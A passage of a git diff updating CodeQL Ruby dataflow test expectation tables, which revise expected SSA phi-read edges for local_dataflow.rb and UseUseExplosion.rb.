| self | +| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | local_dataflow.rb:141:13:141:13 | x | +| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | local_dataflow.rb:141:13:141:13 | x | | local_dataflow.rb:137:14:137:14 | [post] x | local_dataflow.rb:137:10:137:15 | [input] SSA phi read(x) | | local_dataflow.rb:137:14:137:14 | [post] x | local_dataflow.rb:137:25:137:25 | x | | local_dataflow.rb:137:14:137:14 | x | local_dataflow.rb:137:10:137:15 | [input] SSA phi read(x) | | local_dataflow.rb:137:14:137:14 | x | local_dataflow.rb:137:25:137:25 | x | | local_dataflow.rb:137:20:137:26 | [false] ! ... | local_dataflow.rb:137:10:137:26 | [false] ... && ... | -| local_dataflow.rb:137:20:137:26 | [input] SSA phi read(self) | local_dataflow.rb:137:10:137:26 | SSA phi read(self) | -| local_dataflow.rb:137:20:137:26 | [input] SSA phi read(x) | local_dataflow.rb:137:10:137:26 | SSA phi read(x) | +| local_dataflow.rb:137:20:137:26 | [input] SSA phi read(self) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | +| local_dataflow.rb:137:20:137:26 | [input] SSA phi read(x) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | | local_dataflow.rb:137:20:137:26 | [true] ! ... | local_dataflow.rb:137:10:137:26 | [true] ... && ... | | local_dataflow.rb:137:21:137:26 | [post] self | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | | local_dataflow.rb:137:21:137:26 | [post] self | local_dataflow.rb:137:20:137:26 | [input] SSA phi read(self) | @@ -3529,15 +2894,11 @@ | local_dataflow.rb:137:25:137:25 | [post] x | local_dataflow.rb:137:20:137:26 | [input] SSA phi read(x) | | local_dataflow.rb:137:25:137:25 | x | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | | local_dataflow.rb:137:25:137:25 | x | local_dataflow.rb:137:20:137:26 | [input] SSA phi read(x) | -| local_dataflow.rb:141:5:145:7 | SSA phi read(self) | local_dataflow.rb:147:5:147:10 | self | -| local_dataflow.rb:141:5:145:7 | SSA phi read(x) | local_dataflow.rb:147:9:147:9 | x | | local_dataflow.rb:141:8:141:14 | [false] ! ... | local_dataflow.rb:141:8:141:37 | [false] ... \|\| ... | | local_dataflow.rb:141:8:141:14 | [false] ! ... | local_dataflow.rb:141:8:141:37 | [true] ... \|\| ... | -| local_dataflow.rb:141:8:141:14 | [input] SSA phi read(self) | local_dataflow.rb:141:8:141:37 | SSA phi read(self) | -| local_dataflow.rb:141:8:141:14 | [input] SSA phi read(x) | local_dataflow.rb:141:8:141:37 | SSA phi read(x) | +| local_dataflow.rb:141:8:141:14 | [input] SSA phi read(self) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) | +| local_dataflow.rb:141:8:141:14 | [input] SSA phi read(x) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) | | local_dataflow.rb:141:8:141:14 | [true] ! ... | local_dataflow.rb:141:8:141:37 | [true] ... \|\| ... | -| local_dataflow.rb:141:8:141:37 | SSA phi read(self) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) | -| local_dataflow.rb:141:8:141:37 | SSA phi read(x) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) | | local_dataflow.rb:141:9:141:14 | [post] self | local_dataflow.rb:141:8:141:14 | [input] SSA phi read(self) | | local_dataflow.rb:141:9:141:14 | [post] self | local_dataflow.rb:141:20:141:25 | self | | local_dataflow.rb:141:9:141:14 | self | local_dataflow.rb:141:8:141:14 | [input] SSA phi read(self) | @@ -3547,17 +2908,15 @@ | local_dataflow.rb:141:13:141:13 | x | local_dataflow.rb:141:8:141:14 | [input] SSA phi read(x) | | local_dataflow.rb:141:13:141:13 | x | local_dataflow.rb:141:24:141:24 | x | | local_dataflow.rb:141:19:141:37 | [false] ( ... ) | local_dataflow.rb:141:8:141:37 | [false] ... \|\| ... | -| local_dataflow.rb:141:19:141:37 | [input] SSA phi read(self) | local_dataflow.rb:141:8:141:37 | SSA phi read(self) | -| local_dataflow.rb:141:19:141:37 | [input] SSA phi read(x) | local_dataflow.rb:141:8:141:37 | SSA phi read(x) | +| local_dataflow.rb:141:19:141:37 | [input] SSA phi read(self) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) | +| local_dataflow.rb:141:19:141:37 | [input] SSA phi read(x) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) | | local_dataflow.rb:141:19:141:37 | [true] ( ... ) | local_dataflow.rb:141:8:141:37 | [true] ... \|\| ... | -| local_dataflow.rb:141:20:141:25 | [input] SSA phi read(self) | local_dataflow.rb:141:20:141:36 | SSA phi read(self) | -| local_dataflow.rb:141:20:141:25 | [input] SSA phi read(x) | local_dataflow.rb:141:20:141:36 | SSA phi read(x) | +| local_dataflow.rb:141:20:141:25 | [input] SSA phi read(self) | local_dataflow.rb:143:11:143:16 | self | +| local_dataflow.rb:141:20:141:25 | [input] SSA phi read(x) | local_dataflow.rb:143:15:143:15 | x | | local_dataflow.rb:141:20:141:25 | [post] self | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(self) | | local_dataflow.rb:141:20:141:25 | [post] self | local_dataflow.rb:141:31:141:36 | self | | local_dataflow.rb:141:20:141:25 | self | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(self) | | local_dataflow.rb:141:20:141:25 | self | local_dataflow.rb:141:31:141:36 | self | -| local_dataflow.rb:141:20:141:36 | SSA phi read(self) | local_dataflow.rb:143:11:143:16 | self | -| local_dataflow.rb:141:20:141:36 | SSA phi read(x) | local_dataflow.rb:143:15:143:15 | x | | local_dataflow.rb:141:20:141:36 | [false] ... && ... | local_dataflow.rb:141:19:141:37 | [false] ( ... ) | | local_dataflow.rb:141:20:141:36 | [true] ... && ... | local_dataflow.rb:141:19:141:37 | [true] ( ... ) | | local_dataflow.rb:141:24:141:24 | [post] x | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(x) | @@ -3565,8 +2924,8 @@ | local_dataflow.rb:141:24:141:24 | x | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(x) | | local_dataflow.rb:141:24:141:24 | x | local_dataflow.rb:141:35:141:35 | x | | local_dataflow.rb:141:30:141:36 | [false] ! ... | local_dataflow.rb:141:20:141:36 | [false] ... && ... | -| local_dataflow.rb:141:30:141:36 | [input] SSA phi read(self) | local_dataflow.rb:141:20:141:36 | SSA phi read(self) | -| local_dataflow.rb:141:30:141:36 | [input] SSA phi read(x) | local_dataflow.rb:141:20:141:36 | SSA phi read(x) | +| local_dataflow.rb:141:30:141:36 | [input] SSA phi read(self) | local_dataflow.rb:143:11:143:16 | self | +| local_dataflow.rb:141:30:141:36 | [input] SSA phi read(x) | local_dataflow.rb:143:15:143:15 | x | | local_dataflow.rb:141:30:141:36 | [true] ! ... | local_dataflow.rb:141:20:141:36 | [true] ... && ... | | local_dataflow.rb:141:31:141:36 | [post] self | local_dataflow.rb:141:19:141:37 | [input] SSA phi read(self) | | local_dataflow.rb:141:31:141:36 | [post] self | local_dataflow.rb:141:30:141:36 | [input] SSA phi read(self) | @@ -3576,33 +2935,27 @@ | local_dataflow.rb:141:35:141:35 | [post] x | local_dataflow.rb:141:30:141:36 | [input] SSA phi read(x) | | local_dataflow.rb:141:35:141:35 | x | local_dataflow.rb:141:19:141:37 | [input] SSA phi read(x) | | local_dataflow.rb:141:35:141:35 | x | local_dataflow.rb:141:30:141:36 | [input] SSA phi read(x) | -| local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) | local_dataflow.rb:141:5:145:7 | SSA phi read(self) | -| local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) | local_dataflow.rb:141:5:145:7 | SSA phi read(x) | +| local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) | local_dataflow.rb:147:5:147:10 | self | +| local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) | local_dataflow.rb:147:9:147:9 | x | | local_dataflow.rb:141:38:142:9 | then ... | local_dataflow.rb:141:5:145:7 | if ... | | local_dataflow.rb:142:7:142:9 | nil | local_dataflow.rb:141:38:142:9 | then ... | -| local_dataflow.rb:143:5:144:16 | SSA phi read(self) | local_dataflow.rb:143:5:144:16 | [input] SSA phi read(self) | -| local_dataflow.rb:143:5:144:16 | SSA phi read(x) | local_dataflow.rb:143:5:144:16 | [input] SSA phi read(x) | -| local_dataflow.rb:143:5:144:16 | [input] SSA phi read(self) | local_dataflow.rb:141:5:145:7 | SSA phi read(self) | -| local_dataflow.rb:143:5:144:16 | [input] SSA phi read(x) | local_dataflow.rb:141:5:145:7 | SSA phi read(x) | | local_dataflow.rb:143:5:144:16 | elsif ... | local_dataflow.rb:141:5:145:7 | if ... | -| local_dataflow.rb:143:11:143:16 | [input] SSA phi read(self) | local_dataflow.rb:143:11:143:26 | SSA phi read(self) | -| local_dataflow.rb:143:11:143:16 | [input] SSA phi read(x) | local_dataflow.rb:143:11:143:26 | SSA phi read(x) | +| local_dataflow.rb:143:11:143:16 | [input] SSA phi read(self) | local_dataflow.rb:144:11:144:16 | self | +| local_dataflow.rb:143:11:143:16 | [input] SSA phi read(x) | local_dataflow.rb:144:15:144:15 | x | | local_dataflow.rb:143:11:143:16 | [post] self | local_dataflow.rb:143:11:143:16 | [input] SSA phi read(self) | | local_dataflow.rb:143:11:143:16 | [post] self | local_dataflow.rb:143:21:143:26 | self | | local_dataflow.rb:143:11:143:16 | call to use | local_dataflow.rb:143:11:143:26 | [false] ... \|\| ... | | local_dataflow.rb:143:11:143:16 | call to use | local_dataflow.rb:143:11:143:26 | [true] ... \|\| ... | | local_dataflow.rb:143:11:143:16 | self | local_dataflow.rb:143:11:143:16 | [input] SSA phi read(self) | | local_dataflow.rb:143:11:143:16 | self | local_dataflow.rb:143:21:143:26 | self | -| local_dataflow.rb:143:11:143:26 | SSA phi read(self) | local_dataflow.rb:144:11:144:16 | self | -| local_dataflow.rb:143:11:143:26 | SSA phi read(x) | local_dataflow.rb:144:15:144:15 | x | -| local_dataflow.rb:143:11:143:26 | [input] SSA phi read(self) | local_dataflow.rb:143:5:144:16 | SSA phi read(self) | -| local_dataflow.rb:143:11:143:26 | [input] SSA phi read(x) | local_dataflow.rb:143:5:144:16 | SSA phi read(x) | +| local_dataflow.rb:143:11:143:26 | [input] SSA phi read(self) | local_dataflow.rb:147:5:147:10 | self | +| local_dataflow.rb:143:11:143:26 | [input] SSA phi read(x) | local_dataflow.rb:147:9:147:9 | x | | local_dataflow.rb:143:15:143:15 | [post] x | local_dataflow.rb:143:11:143:16 | [input] SSA phi read(x) | | local_dataflow.rb:143:15:143:15 | [post] x | local_dataflow.rb:143:25:143:25 | x | | local_dataflow.rb:143:15:143:15 | x | local_dataflow.rb:143:11:143:16 | [input] SSA phi read(x) | | local_dataflow.rb:143:15:143:15 | x | local_dataflow.rb:143:25:143:25 | x | -| local_dataflow.rb:143:21:143:26 | [input] SSA phi read(self) | local_dataflow.rb:143:11:143:26 | SSA phi read(self) | -| local_dataflow.rb:143:21:143:26 | [input] SSA phi read(x) | local_dataflow.rb:143:11:143:26 | SSA phi read(x) | +| local_dataflow.rb:143:21:143:26 | [input] SSA phi read(self) | local_dataflow.rb:144:11:144:16 | self | +| local_dataflow.rb:143:21:143:26 | [input] SSA phi read(x) | local_dataflow.rb:144:15:144:15 | x | | local_dataflow.rb:143:21:143:26 | [post] self | local_dataflow.rb:143:11:143:26 | [input] SSA phi read(self) | | local_dataflow.rb:143:21:143:26 | [post] self | local_dataflow.rb:143:21:143:26 | [input] SSA phi read(self) | | local_dataflow.rb:143:21:143:26 | call to use | local_dataflow.rb:143:11:143:26 | [false] ... \|\| ... | @@ -3613,14 +2966,12 @@ | local_dataflow.rb:143:25:143:25 | [post] x | local_dataflow.rb:143:21:143:26 | [input] SSA phi read(x) | | local_dataflow.rb:143:25:143:25 | x | local_dataflow.rb:143:11:143:26 | [input] SSA phi read(x) | | local_dataflow.rb:143:25:143:25 | x | local_dataflow.rb:143:21:143:26 | [input] SSA phi read(x) | -| local_dataflow.rb:143:27:144:16 | [input] SSA phi read(self) | local_dataflow.rb:143:5:144:16 | SSA phi read(self) | -| local_dataflow.rb:143:27:144:16 | [input] SSA phi read(x) | local_dataflow.rb:143:5:144:16 | SSA phi read(x) | | local_dataflow.rb:143:27:144:16 | then ... | local_dataflow.rb:143:5:144:16 | elsif ... | -| local_dataflow.rb:144:11:144:16 | [post] self | local_dataflow.rb:143:27:144:16 | [input] SSA phi read(self) | +| local_dataflow.rb:144:11:144:16 | [post] self | local_dataflow.rb:147:5:147:10 | self | | local_dataflow.rb:144:11:144:16 | call to use | local_dataflow.rb:143:27:144:16 | then ... | -| local_dataflow.rb:144:11:144:16 | self | local_dataflow.rb:143:27:144:16 | [input] SSA phi read(self) | -| local_dataflow.rb:144:15:144:15 | [post] x | local_dataflow.rb:143:27:144:16 | [input] SSA phi read(x) | -| local_dataflow.rb:144:15:144:15 | x | local_dataflow.rb:143:27:144:16 | [input] SSA phi read(x) | +| local_dataflow.rb:144:11:144:16 | self | local_dataflow.rb:147:5:147:10 | self | +| local_dataflow.rb:144:15:144:15 | [post] x | local_dataflow.rb:147:9:147:9 | x | +| local_dataflow.rb:144:15:144:15 | x | local_dataflow.rb:147:9:147:9 | x | | local_dataflow.rb:147:5:147:10 | [post] self | local_dataflow.rb:148:5:148:10 | self | | local_dataflow.rb:147:5:147:10 | self | local_dataflow.rb:148:5:148:10 | self | | local_dataflow.rb:147:9:147:9 | [post] x | local_dataflow.rb:148:9:148:9 | x | diff --git a/ruby/ql/test/library-tests/dataflow/local/TaintStep.expected b/ruby/ql/test/library-tests/dataflow/local/TaintStep.expected index a90c65dab24..208a012ff65 100644 --- a/ruby/ql/test/library-tests/dataflow/local/TaintStep.expected +++ b/ruby/ql/test/library-tests/dataflow/local/TaintStep.expected @@ -103,7 +103,6 @@ | UseUseExplosion.rb:19:9:19:9 | x | UseUseExplosion.rb:20:3695:20:3695 | x | | UseUseExplosion.rb:19:13:19:13 | 0 | UseUseExplosion.rb:19:9:19:9 | x | | UseUseExplosion.rb:19:13:19:13 | 0 | UseUseExplosion.rb:19:9:19:13 | ... = ... | -| UseUseExplosion.rb:20:9:20:3700 | SSA phi read(self) | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | UseUseExplosion.rb:21:2111:21:2111 | x | | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | UseUseExplosion.rb:21:2127:21:2127 | x | | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | UseUseExplosion.rb:21:2143:21:2143 | x | @@ -212,11 +211,7 @@ | UseUseExplosion.rb:20:13:20:23 | ... > ... | UseUseExplosion.rb:20:12:20:24 | [false] ( ... ) | | UseUseExplosion.rb:20:13:20:23 | ... > ... | UseUseExplosion.rb:20:12:20:24 | [true] ( ... ) | | UseUseExplosion.rb:20:21:20:23 | 100 | UseUseExplosion.rb:20:13:20:23 | ... > ... | -| UseUseExplosion.rb:20:26:20:3684 | [input] SSA phi read(self) | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(self) | -| UseUseExplosion.rb:20:26:20:3684 | [input] SSA phi read(x) | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:26:20:3684 | then ... | UseUseExplosion.rb:20:9:20:3700 | if ... | -| UseUseExplosion.rb:20:31:20:3684 | SSA phi read(self) | UseUseExplosion.rb:20:26:20:3684 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:31:20:3684 | SSA phi read(x) | UseUseExplosion.rb:20:26:20:3684 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:31:20:3684 | if ... | UseUseExplosion.rb:20:26:20:3684 | then ... | | UseUseExplosion.rb:20:35:20:39 | @prop | UseUseExplosion.rb:20:35:20:44 | ... > ... | | UseUseExplosion.rb:20:35:20:39 | [post] self | UseUseExplosion.rb:20:56:20:60 | self | @@ -226,11 +221,7 @@ | UseUseExplosion.rb:20:35:20:44 | ... > ... | UseUseExplosion.rb:20:34:20:45 | [false] ( ... ) | | UseUseExplosion.rb:20:35:20:44 | ... > ... | UseUseExplosion.rb:20:34:20:45 | [true] ( ... ) | | UseUseExplosion.rb:20:43:20:44 | 99 | UseUseExplosion.rb:20:35:20:44 | ... > ... | -| UseUseExplosion.rb:20:47:20:3668 | [input] SSA phi read(self) | UseUseExplosion.rb:20:31:20:3684 | SSA phi read(self) | -| UseUseExplosion.rb:20:47:20:3668 | [input] SSA phi read(x) | UseUseExplosion.rb:20:31:20:3684 | SSA phi read(x) | | UseUseExplosion.rb:20:47:20:3668 | then ... | UseUseExplosion.rb:20:31:20:3684 | if ... | -| UseUseExplosion.rb:20:52:20:3668 | SSA phi read(self) | UseUseExplosion.rb:20:47:20:3668 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:52:20:3668 | SSA phi read(x) | UseUseExplosion.rb:20:47:20:3668 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:52:20:3668 | if ... | UseUseExplosion.rb:20:47:20:3668 | then ... | | UseUseExplosion.rb:20:56:20:60 | @prop | UseUseExplosion.rb:20:56:20:65 | ... > ... | | UseUseExplosion.rb:20:56:20:60 | [post] self | UseUseExplosion.rb:20:77:20:81 | self | @@ -240,11 +231,7 @@ | UseUseExplosion.rb:20:56:20:65 | ... > ... | UseUseExplosion.rb:20:55:20:66 | [false] ( ... ) | | UseUseExplosion.rb:20:56:20:65 | ... > ... | UseUseExplosion.rb:20:55:20:66 | [true] ( ... ) | | UseUseExplosion.rb:20:64:20:65 | 98 | UseUseExplosion.rb:20:56:20:65 | ... > ... | -| UseUseExplosion.rb:20:68:20:3652 | [input] SSA phi read(self) | UseUseExplosion.rb:20:52:20:3668 | SSA phi read(self) | -| UseUseExplosion.rb:20:68:20:3652 | [input] SSA phi read(x) | UseUseExplosion.rb:20:52:20:3668 | SSA phi read(x) | | UseUseExplosion.rb:20:68:20:3652 | then ... | UseUseExplosion.rb:20:52:20:3668 | if ... | -| UseUseExplosion.rb:20:73:20:3652 | SSA phi read(self) | UseUseExplosion.rb:20:68:20:3652 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:73:20:3652 | SSA phi read(x) | UseUseExplosion.rb:20:68:20:3652 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:73:20:3652 | if ... | UseUseExplosion.rb:20:68:20:3652 | then ... | | UseUseExplosion.rb:20:77:20:81 | @prop | UseUseExplosion.rb:20:77:20:86 | ... > ... | | UseUseExplosion.rb:20:77:20:81 | [post] self | UseUseExplosion.rb:20:98:20:102 | self | @@ -254,11 +241,7 @@ | UseUseExplosion.rb:20:77:20:86 | ... > ... | UseUseExplosion.rb:20:76:20:87 | [false] ( ... ) | | UseUseExplosion.rb:20:77:20:86 | ... > ... | UseUseExplosion.rb:20:76:20:87 | [true] ( ... ) | | UseUseExplosion.rb:20:85:20:86 | 97 | UseUseExplosion.rb:20:77:20:86 | ... > ... | -| UseUseExplosion.rb:20:89:20:3636 | [input] SSA phi read(self) | UseUseExplosion.rb:20:73:20:3652 | SSA phi read(self) | -| UseUseExplosion.rb:20:89:20:3636 | [input] SSA phi read(x) | UseUseExplosion.rb:20:73:20:3652 | SSA phi read(x) | | UseUseExplosion.rb:20:89:20:3636 | then ... | UseUseExplosion.rb:20:73:20:3652 | if ... | -| UseUseExplosion.rb:20:94:20:3636 | SSA phi read(self) | UseUseExplosion.rb:20:89:20:3636 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:94:20:3636 | SSA phi read(x) | UseUseExplosion.rb:20:89:20:3636 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:94:20:3636 | if ... | UseUseExplosion.rb:20:89:20:3636 | then ... | | UseUseExplosion.rb:20:98:20:102 | @prop | UseUseExplosion.rb:20:98:20:107 | ... > ... | | UseUseExplosion.rb:20:98:20:102 | [post] self | UseUseExplosion.rb:20:119:20:123 | self | @@ -268,11 +251,7 @@ | UseUseExplosion.rb:20:98:20:107 | ... > ... | UseUseExplosion.rb:20:97:20:108 | [false] ( ... ) | | UseUseExplosion.rb:20:98:20:107 | ... > ... | UseUseExplosion.rb:20:97:20:108 | [true] ( ... ) | | UseUseExplosion.rb:20:106:20:107 | 96 | UseUseExplosion.rb:20:98:20:107 | ... > ... | -| UseUseExplosion.rb:20:110:20:3620 | [input] SSA phi read(self) | UseUseExplosion.rb:20:94:20:3636 | SSA phi read(self) | -| UseUseExplosion.rb:20:110:20:3620 | [input] SSA phi read(x) | UseUseExplosion.rb:20:94:20:3636 | SSA phi read(x) | | UseUseExplosion.rb:20:110:20:3620 | then ... | UseUseExplosion.rb:20:94:20:3636 | if ... | -| UseUseExplosion.rb:20:115:20:3620 | SSA phi read(self) | UseUseExplosion.rb:20:110:20:3620 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:115:20:3620 | SSA phi read(x) | UseUseExplosion.rb:20:110:20:3620 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:115:20:3620 | if ... | UseUseExplosion.rb:20:110:20:3620 | then ... | | UseUseExplosion.rb:20:119:20:123 | @prop | UseUseExplosion.rb:20:119:20:128 | ... > ... | | UseUseExplosion.rb:20:119:20:123 | [post] self | UseUseExplosion.rb:20:140:20:144 | self | @@ -282,11 +261,7 @@ | UseUseExplosion.rb:20:119:20:128 | ... > ... | UseUseExplosion.rb:20:118:20:129 | [false] ( ... ) | | UseUseExplosion.rb:20:119:20:128 | ... > ... | UseUseExplosion.rb:20:118:20:129 | [true] ( ... ) | | UseUseExplosion.rb:20:127:20:128 | 95 | UseUseExplosion.rb:20:119:20:128 | ... > ... | -| UseUseExplosion.rb:20:131:20:3604 | [input] SSA phi read(self) | UseUseExplosion.rb:20:115:20:3620 | SSA phi read(self) | -| UseUseExplosion.rb:20:131:20:3604 | [input] SSA phi read(x) | UseUseExplosion.rb:20:115:20:3620 | SSA phi read(x) | | UseUseExplosion.rb:20:131:20:3604 | then ... | UseUseExplosion.rb:20:115:20:3620 | if ... | -| UseUseExplosion.rb:20:136:20:3604 | SSA phi read(self) | UseUseExplosion.rb:20:131:20:3604 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:136:20:3604 | SSA phi read(x) | UseUseExplosion.rb:20:131:20:3604 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:136:20:3604 | if ... | UseUseExplosion.rb:20:131:20:3604 | then ... | | UseUseExplosion.rb:20:140:20:144 | @prop | UseUseExplosion.rb:20:140:20:149 | ... > ... | | UseUseExplosion.rb:20:140:20:144 | [post] self | UseUseExplosion.rb:20:161:20:165 | self | @@ -296,11 +271,7 @@ | UseUseExplosion.rb:20:140:20:149 | ... > ... | UseUseExplosion.rb:20:139:20:150 | [false] ( ... ) | | UseUseExplosion.rb:20:140:20:149 | ... > ... | UseUseExplosion.rb:20:139:20:150 | [true] ( ... ) | | UseUseExplosion.rb:20:148:20:149 | 94 | UseUseExplosion.rb:20:140:20:149 | ... > ... | -| UseUseExplosion.rb:20:152:20:3588 | [input] SSA phi read(self) | UseUseExplosion.rb:20:136:20:3604 | SSA phi read(self) | -| UseUseExplosion.rb:20:152:20:3588 | [input] SSA phi read(x) | UseUseExplosion.rb:20:136:20:3604 | SSA phi read(x) | | UseUseExplosion.rb:20:152:20:3588 | then ... | UseUseExplosion.rb:20:136:20:3604 | if ... | -| UseUseExplosion.rb:20:157:20:3588 | SSA phi read(self) | UseUseExplosion.rb:20:152:20:3588 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:157:20:3588 | SSA phi read(x) | UseUseExplosion.rb:20:152:20:3588 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:157:20:3588 | if ... | UseUseExplosion.rb:20:152:20:3588 | then ... | | UseUseExplosion.rb:20:161:20:165 | @prop | UseUseExplosion.rb:20:161:20:170 | ... > ... | | UseUseExplosion.rb:20:161:20:165 | [post] self | UseUseExplosion.rb:20:182:20:186 | self | @@ -310,11 +281,7 @@ | UseUseExplosion.rb:20:161:20:170 | ... > ... | UseUseExplosion.rb:20:160:20:171 | [false] ( ... ) | | UseUseExplosion.rb:20:161:20:170 | ... > ... | UseUseExplosion.rb:20:160:20:171 | [true] ( ... ) | | UseUseExplosion.rb:20:169:20:170 | 93 | UseUseExplosion.rb:20:161:20:170 | ... > ... | -| UseUseExplosion.rb:20:173:20:3572 | [input] SSA phi read(self) | UseUseExplosion.rb:20:157:20:3588 | SSA phi read(self) | -| UseUseExplosion.rb:20:173:20:3572 | [input] SSA phi read(x) | UseUseExplosion.rb:20:157:20:3588 | SSA phi read(x) | | UseUseExplosion.rb:20:173:20:3572 | then ... | UseUseExplosion.rb:20:157:20:3588 | if ... | -| UseUseExplosion.rb:20:178:20:3572 | SSA phi read(self) | UseUseExplosion.rb:20:173:20:3572 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:178:20:3572 | SSA phi read(x) | UseUseExplosion.rb:20:173:20:3572 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:178:20:3572 | if ... | UseUseExplosion.rb:20:173:20:3572 | then ... | | UseUseExplosion.rb:20:182:20:186 | @prop | UseUseExplosion.rb:20:182:20:191 | ... > ... | | UseUseExplosion.rb:20:182:20:186 | [post] self | UseUseExplosion.rb:20:203:20:207 | self | @@ -324,11 +291,7 @@ | UseUseExplosion.rb:20:182:20:191 | ... > ... | UseUseExplosion.rb:20:181:20:192 | [false] ( ... ) | | UseUseExplosion.rb:20:182:20:191 | ... > ... | UseUseExplosion.rb:20:181:20:192 | [true] ( ... ) | | UseUseExplosion.rb:20:190:20:191 | 92 | UseUseExplosion.rb:20:182:20:191 | ... > ... | -| UseUseExplosion.rb:20:194:20:3556 | [input] SSA phi read(self) | UseUseExplosion.rb:20:178:20:3572 | SSA phi read(self) | -| UseUseExplosion.rb:20:194:20:3556 | [input] SSA phi read(x) | UseUseExplosion.rb:20:178:20:3572 | SSA phi read(x) | | UseUseExplosion.rb:20:194:20:3556 | then ... | UseUseExplosion.rb:20:178:20:3572 | if ... | -| UseUseExplosion.rb:20:199:20:3556 | SSA phi read(self) | UseUseExplosion.rb:20:194:20:3556 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:199:20:3556 | SSA phi read(x) | UseUseExplosion.rb:20:194:20:3556 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:199:20:3556 | if ... | UseUseExplosion.rb:20:194:20:3556 | then ... | | UseUseExplosion.rb:20:203:20:207 | @prop | UseUseExplosion.rb:20:203:20:212 | ... > ... | | UseUseExplosion.rb:20:203:20:207 | [post] self | UseUseExplosion.rb:20:224:20:228 | self | @@ -338,11 +301,7 @@ | UseUseExplosion.rb:20:203:20:212 | ... > ... | UseUseExplosion.rb:20:202:20:213 | [false] ( ... ) | | UseUseExplosion.rb:20:203:20:212 | ... > ... | UseUseExplosion.rb:20:202:20:213 | [true] ( ... ) | | UseUseExplosion.rb:20:211:20:212 | 91 | UseUseExplosion.rb:20:203:20:212 | ... > ... | -| UseUseExplosion.rb:20:215:20:3540 | [input] SSA phi read(self) | UseUseExplosion.rb:20:199:20:3556 | SSA phi read(self) | -| UseUseExplosion.rb:20:215:20:3540 | [input] SSA phi read(x) | UseUseExplosion.rb:20:199:20:3556 | SSA phi read(x) | | UseUseExplosion.rb:20:215:20:3540 | then ... | UseUseExplosion.rb:20:199:20:3556 | if ... | -| UseUseExplosion.rb:20:220:20:3540 | SSA phi read(self) | UseUseExplosion.rb:20:215:20:3540 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:220:20:3540 | SSA phi read(x) | UseUseExplosion.rb:20:215:20:3540 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:220:20:3540 | if ... | UseUseExplosion.rb:20:215:20:3540 | then ... | | UseUseExplosion.rb:20:224:20:228 | @prop | UseUseExplosion.rb:20:224:20:233 | ... > ... | | UseUseExplosion.rb:20:224:20:228 | [post] self | UseUseExplosion.rb:20:245:20:249 | self | @@ -352,11 +311,7 @@ | UseUseExplosion.rb:20:224:20:233 | ... > ... | UseUseExplosion.rb:20:223:20:234 | [false] ( ... ) | | UseUseExplosion.rb:20:224:20:233 | ... > ... | UseUseExplosion.rb:20:223:20:234 | [true] ( ... ) | | UseUseExplosion.rb:20:232:20:233 | 90 | UseUseExplosion.rb:20:224:20:233 | ... > ... | -| UseUseExplosion.rb:20:236:20:3524 | [input] SSA phi read(self) | UseUseExplosion.rb:20:220:20:3540 | SSA phi read(self) | -| UseUseExplosion.rb:20:236:20:3524 | [input] SSA phi read(x) | UseUseExplosion.rb:20:220:20:3540 | SSA phi read(x) | | UseUseExplosion.rb:20:236:20:3524 | then ... | UseUseExplosion.rb:20:220:20:3540 | if ... | -| UseUseExplosion.rb:20:241:20:3524 | SSA phi read(self) | UseUseExplosion.rb:20:236:20:3524 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:241:20:3524 | SSA phi read(x) | UseUseExplosion.rb:20:236:20:3524 | [input] SSA phi read(x) | | UseUseExplosion.rb:20:241:20:3524 | if ... | UseUseExplosion.rb:20:236:20:3524 | then ... | | UseUseExplosion.rb:20:245:20:249 | @prop | UseUseExplosion.rb:20:245:20:254 | ... > ... | | UseUseExplosion.rb:20:245:20:249 | [post] self | UseUseExplosion.rb:20:266:20:270 | self | @@ -366,11 +321,7 @@ | UseUseExplosion.rb:20:245:20:254 | ... > ... | UseUseExplosion.rb:20:244:20:255 | [false] ( ... ) | | UseUseExplosion.rb:20:245:20:254 | ... > ... | UseUseExplosion.rb:20:244:20:255 | [true] ( ... ) | | UseUseExplosion.rb:20:253:20:254 | 89 | UseUseExplosion.rb:20:245:20:254 | ... > ... | -| UseUseExplosion.rb:20:257:20:3508 | [input] SSA 